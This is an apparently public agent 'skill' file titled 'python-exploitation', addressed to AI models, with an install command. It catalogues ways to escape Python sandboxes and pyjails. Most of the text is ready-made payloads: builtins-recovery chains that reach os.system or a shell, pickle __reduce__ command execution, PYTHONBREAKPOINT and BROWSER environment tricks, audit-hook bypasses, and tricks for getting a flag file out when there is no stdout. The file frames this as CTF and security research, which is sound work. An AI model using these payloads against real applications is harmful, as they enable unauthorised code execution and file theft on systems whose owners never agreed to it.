python-exploitation

star 1

Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute or character/byte blacklists, recovering builtins after __builtins__ is stripped, exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting or abusing CPython bytecode and code objects, exfiltrating with no stdout, or reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.

Lu1sDV By Lu1sDV schedule Updated 6/8/2026

name: python-exploitation description: >- Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute or character/byte blacklists, recovering builtins after builtins is stripped, exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting or abusing CPython bytecode and code objects, exfiltrating with no stdout, or reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.

Python Exploitation & Sandbox Escape

Overview

Offensive Python: breaking out of eval/exec jails, restricted unpicklers, template sandboxes, and audit-hook cages. Core principle — a sandbox only removes names, never reachability. Almost every escape is: find any live object → walk its attribute/frame graph back to a callable or __globals__ that still holds the real __builtins__ → import os.

The single most common mistake (yours and other models'): hardcoding subclass indices like [104]. They drift across version and import order. Always filter by __name__ / predicate.

When to Use

  • An app runs attacker-influenced code through eval, exec, compile, an AST allowlist, RestrictedPython, or a custom pyjail
  • You face an import / builtins / attribute / dunder / character / byte / length blacklist
  • A deserialization sink: pickle, marshal, PyYAML, multiprocessing, numpy.load, fickling
  • Template SSTI in Jinja2 / Mako / str.format
  • An audit hook (PEP 578) or bytecode-opcode verifier guards the runtime
  • Reversing or weaponizing .pyc / raw bytecode

Not for: defensive sandboxing design (the gotchas inform it, but this is the attacker view), or non-CPython unless noted (id()-address and subclass tricks fail on PyPy/Jython).

Routing

Situation Starter gadget Deep dive
__builtins__ emptied ().__reduce_ex__(2).__globals__['__builtins__'] · print.__self__ · (x for x in()).gi_frame.f_builtins pyjail-escape
() / parens banned @exec/@input decorators · hijack T.__getitem__=exec; T[code] pyjail-escape
dots banned / limited __builtins__=os then bare system(...) · str.format bare-word subscripts pyjail-escape
digits / quotes banned True+True, -~x · chars from ().__doc__[i] · octal "\157\163"=os pyjail-escape
_/dunder/keyword filtered NFKC look-alikes (math-italic U+1D400, fullwidth _ U+FF3F) pyjail-escape
co_consts/co_names stripped use injected call args (res(vars(), vars)) · __code__.replace bytecode-and-internals
AST allowlist types.CodeType / __code__.replace · __build_class__ last-builtin bytecode-and-internals
opcode whitelist (3.11+) specialized opcodes + CACHE padding (dis._inline_cache_entries) bytecode-and-internals
audit hook (PEP 578) un-audited sink: sys.modules['x']=obj_with___del__;exit(), readline.read_history_file, _posixsubprocess.fork_exec bytecode-and-internals
__import__ banned, stdlib reachable catch_warnings()._module.linecache.os · os.environ['BROWSER']=cmd;import antigravity · license._Printer__filenames=['flag'] pyjail-escape
interactive shell reachable breakpoint() / PYTHONBREAKPOINT=os.system · code.interact() · pdb via help()sys.modules['pdb'] pyjail-escape
arbitrary r/w needed how2python pure-Python bugs (audit-safe) · _ctypes.PyObj_FromPtr/id()+ctypes (CPython-only, ASLR brute) bytecode-and-internals
predict "random" / hashes _Py_HashSecret in_dll · PYTHONHASHSEED LCG · random.seed(bytes) reconstruction bytecode-and-internals
pickle / restricted unpickler __reduce__(os.system,(cmd,)) · no-REDUCE INST/OBJ · multiprocessing indirect sink deserialization-and-ssti
Jinja2 / RestrictedPython SSTI filter-fn __globals__ · str.format {0.__init__.__globals__} + e.obj leak deserialization-and-ssti
no stdout / closed streams exit(*open('flag')) · compile('.','flag','exec') stderr · ZeroDivisionError oracle pyjail-escape
reverse a .pyc marshal.loads+dis · pycdc/decompile3 · uncompyle6-decompiler RCE deserialization-and-ssti
smuggle a crafted .pyc/bytecode MAGIC_NUMBER+b'\x00'*12+marshal.dumps(code)import x bytecode-and-internals

Universal builtins-recovery ladder (try in order, shortest first)

  1. print.__self__ / abs.__self__ → the builtins module (any un-banned builtin works).
  2. ().__reduce_ex__(2).__globals__['__builtins__'] (no subclass scan, no index).
  3. (x for x in ()).gi_frame.f_builtins — frame attr, survives del __builtins__; async: …cr_frame/ag_frame.
  4. caught exception → e.__traceback__.tb_frame.f_builtins (or .f_back.f_globals).
  5. subclass walk by predicate: [c for c in ().__class__.__base__.__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system'].
  6. __builtins__ = os; system('sh') when dots/attrs are banned but a module is reachable.

Top gotchas (the knowledge models get wrong)

  • str.format traverses .attr/[key] with no call, and a failed format leaks the last resolved object as e.obj (3.10+). Subscripts in fields are bare words: {0.__globals__[sys]}, not ['sys']. Hex-escape \x2e/\x5f in the field dodges ./_ filters.
  • Identifiers are NFKC-normalized (PEP 3131); raw input is not → fullwidth/math-italic glyphs beat substring blacklists. String literals are NOT normalized — only identifiers.
  • Audit hooks can't be removed, but plenty isn't audited: sys.modules insert (→ __del__ RCE on exit), pickle/yaml load, plain file reads, and any module imported before the hook was installed.
  • CodeType positional arity changes per version (3.8 +posonlyargcount, 3.11 +qualname/+exceptiontable) — use __code__.replace() for portability. 3.11+ raw co_code needs inline CACHE padding or the VM desyncs.
  • find_class is pickle's only real hook; REDUCE has no callable-side filter, and INST/OBJ opcodes call without REDUCE. multiprocessing/Queue/ProcessPoolExecutor silently pickle args → indirect RCE.
  • 3.13 PEP 667: f_locals is now write-through → frame-walking becomes a reliable write primitive into a caller's scope.
  • breakpoint()/pdb runs even with empty builtins; PYTHONBREAKPOINT=os.system makes any breakpoint() an RCE.
  • No-stdout ≠ no-exfil: exit(*open('flag')), compile('.','flag','exec') (filename echoed in SyntaxError), raise Exception(flag) to stderr, or a ZeroDivisionError/IndexError char-oracle.

Each reference file lists exact payloads, version notes, and blacklist-bypass variants.

Install via CLI
npx skills add https://github.com/Lu1sDV/skillsmd --skill python-exploitation
Repository Details
star Stars 1
call_split Forks 1
navigation Branch main
article Path SKILL.md
More from Creator